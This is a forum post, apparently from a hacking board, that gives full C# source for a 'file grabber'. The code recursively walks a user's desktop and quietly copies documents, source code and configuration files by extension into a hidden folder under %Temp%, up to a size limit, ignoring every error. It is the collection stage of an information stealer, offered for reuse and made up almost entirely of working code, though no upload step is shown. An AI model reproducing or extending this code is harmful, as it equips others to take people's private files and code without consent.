Загрузка...

Universal File Grabber - Grabber of files from the desktop with the capture of all folders

Thread in C# created by Грут_inactive2721729 Apr 28, 2020. 501 view

  1. Грут_inactive2721729
    Грут_inactive2721729 Topic starter Apr 28, 2020 Banned 70 Oct 23, 2019
    Данный код позволяет копировать все файлы ( по расширению ) с рабочего стола с заходом в папки и подпапки собирая из них файлы и копируя в свою папку с ограниченным размером.

    Для начала создадим класс: GlobalPath.cs - В этом классе будут хранится все пути

    Code
    namespace FileGrabber
    {
    using System;
    using System.IO;

    public class GlobalPath
    {
    public static readonly string DesktopPath = Environment.GetFolderPath(Environment.SpecialFolder.Desktop); // Путь к Рабочему столу пользователя
    public static readonly string DefaultTemp = string.Concat(Environment.GetEnvironmentVariable("temp"), '\\'); // Путь к папке %Temp% ( временные файлы )
    public static readonly string User_Name = string.Concat(DefaultTemp, Environment.UserName); // Соединяем путь к папке и имя пользователя ( имя новой папки )
    public static readonly string GrabberDir = Path.Combine(User_Name, "All_Files"); // Комбинируем пути
    }
    }
    Создадим класс: Folders.cs - В этом классе будем хранить свойства для папок и файлов


    Code
    namespace FileGrabber
    {
    public class Folders : IFolders
    {
    public string Source { get; private set; }
    public string Target { get; private set; }

    public Folders(string source, string target)
    {
    this.Source = source;
    this.Target = target;
    }
    }
    }
    Создаём ещё один класс: GetFiles.cs - Этот класс выполняет всю работу копирования файлов


    Code
    namespace FileGrabber
    {
    using System;
    using System.Collections.Generic;
    using System.IO;

    public partial class GetFiles
    {
    // Список расширений для сбора файлов
    public static string[] Extensions = new string[]
    {
    ".txt", ".doc", ".cs", ".Dll", ".Html",
    ".Htm", ".Xml",".Php", ".json", ".suo",
    ".sln"
    };

    /// <summary>
    /// Метод который вначале создаёт папку.
    /// Затем копирует все файлы и папки в назначеную папку с лимитом копирования.
    /// </summary>
    public static void Inizialize()
    {
    if (!Directory.Exists(GlobalPath.GrabberDir))
    {
    try
    {
    Directory.CreateDirectory(GlobalPath.GrabberDir);
    }
    catch { }
    Inizialize();
    }
    else
    {
    // --- ( лимит на размер копирования ) ---
    // 5500000 - 5 MB
    // 10500000 - 10 MB
    // 21000000 - 20 MB
    // 63000000 - 60 MB
    CopyDirectory(GlobalPath.DesktopPath, GlobalPath.GrabberDir, "*.*", 63000000);

    // CopyDirectory("[From]"], "[To]", "*.*", "[Limit]");
    }
    }

    /// <summary>
    /// Метод для проверки размера директории и файлов
    /// </summary>
    /// <param name="path">Путь для проверки</param>
    /// <param name="size">Размер</param>
    /// <returns></returns>
    private static long GetDirSize(string path, long size = 0)
    {
    try
    {
    foreach (string file in Directory.EnumerateFiles(path))
    {
    try
    {
    size += new FileInfo(file).Length;
    }
    catch { }
    }
    foreach (string dir in Directory.EnumerateDirectories(path))
    {
    try
    {
    size += GetDirSize(dir);
    }
    catch { }
    }
    }
    catch { }
    return size;
    }

    /// <summary>
    /// Метод который копирует все файлы и папки в каждой из папок и подпапок.
    /// </summary>
    /// <param name="source">Откуда копируем</param>
    /// <param name="target">Куда копируем</param>
    /// <param name="pattern">Расширение файлов которые копируем</param>
    /// <param name="maxSize">Максимальный лимит копирования</param>
    public static void CopyDirectory(string source, string target, string pattern, long maxSize)
    {
    var stack = new Stack<Folders>();
    stack.Push(new Folders(source, target));
    long size = GetDirSize(target);
    while (stack.Count > 0)
    {
    Folders folders = stack.Pop();
    try
    {
    Directory.CreateDirectory(folders.Target);
    foreach (string file in Directory.EnumerateFiles(folders.Source, pattern))
    {
    try
    {
    if (Array.IndexOf(Extensions, Path.GetExtension(file).ToLower()) < 0)
    {
    continue;
    }
    string targetPath = Path.Combine(folders.Target, Path.GetFileName(file));
    if (new FileInfo(file).Length / 0x400 < 0x1388) // 1024 < 5000
    {
    File.Copy(file, targetPath);
    size += new FileInfo(targetPath).Length;
    if (size > maxSize)
    {
    return;
    }
    }
    }
    catch { }
    }
    }
    catch (Exception) { continue; }
    try
    {
    foreach (string folder in Directory.EnumerateDirectories(folders.Source))
    {
    try
    {
    if (!folder.Contains(Path.Combine(GlobalPath.DesktopPath, Environment.UserName)))
    {
    stack.Push(new Folders(folder, Path.Combine(folders.Target, Path.GetFileName(folder))));
    }
    }
    catch { }
    }
    }
    catch (Exception) { continue; }
    }
    stack.Clear();
    }
    }
    }
    И теперь осталось вызвать наш метод копирования:


    Code
    namespace FileGrabber
    {
    using System;
    using System.Diagnostics;
    using System.IO;
    using System.Threading.Tasks;

    internal static class Program
    {
    // Для подсчёта работы метода.
    private static readonly Stopwatch sw = Stopwatch.StartNew();

    private static void Main()
    {
    Console.Title = "Universal File Grabber by r3xq1";
    Task.Factory.StartNew(() =>
    {
    GetFiles.Inizialize();
    }).Wait();

    sw.Stop();
    Console.WriteLine("Копирование завершено!");
    File.AppendAllText("FastTime.txt", $"Затраченное время: {sw.Elapsed.TotalMilliseconds} мс");

    Console.ReadKey();
    }
    }
    }
     
Top
Loading...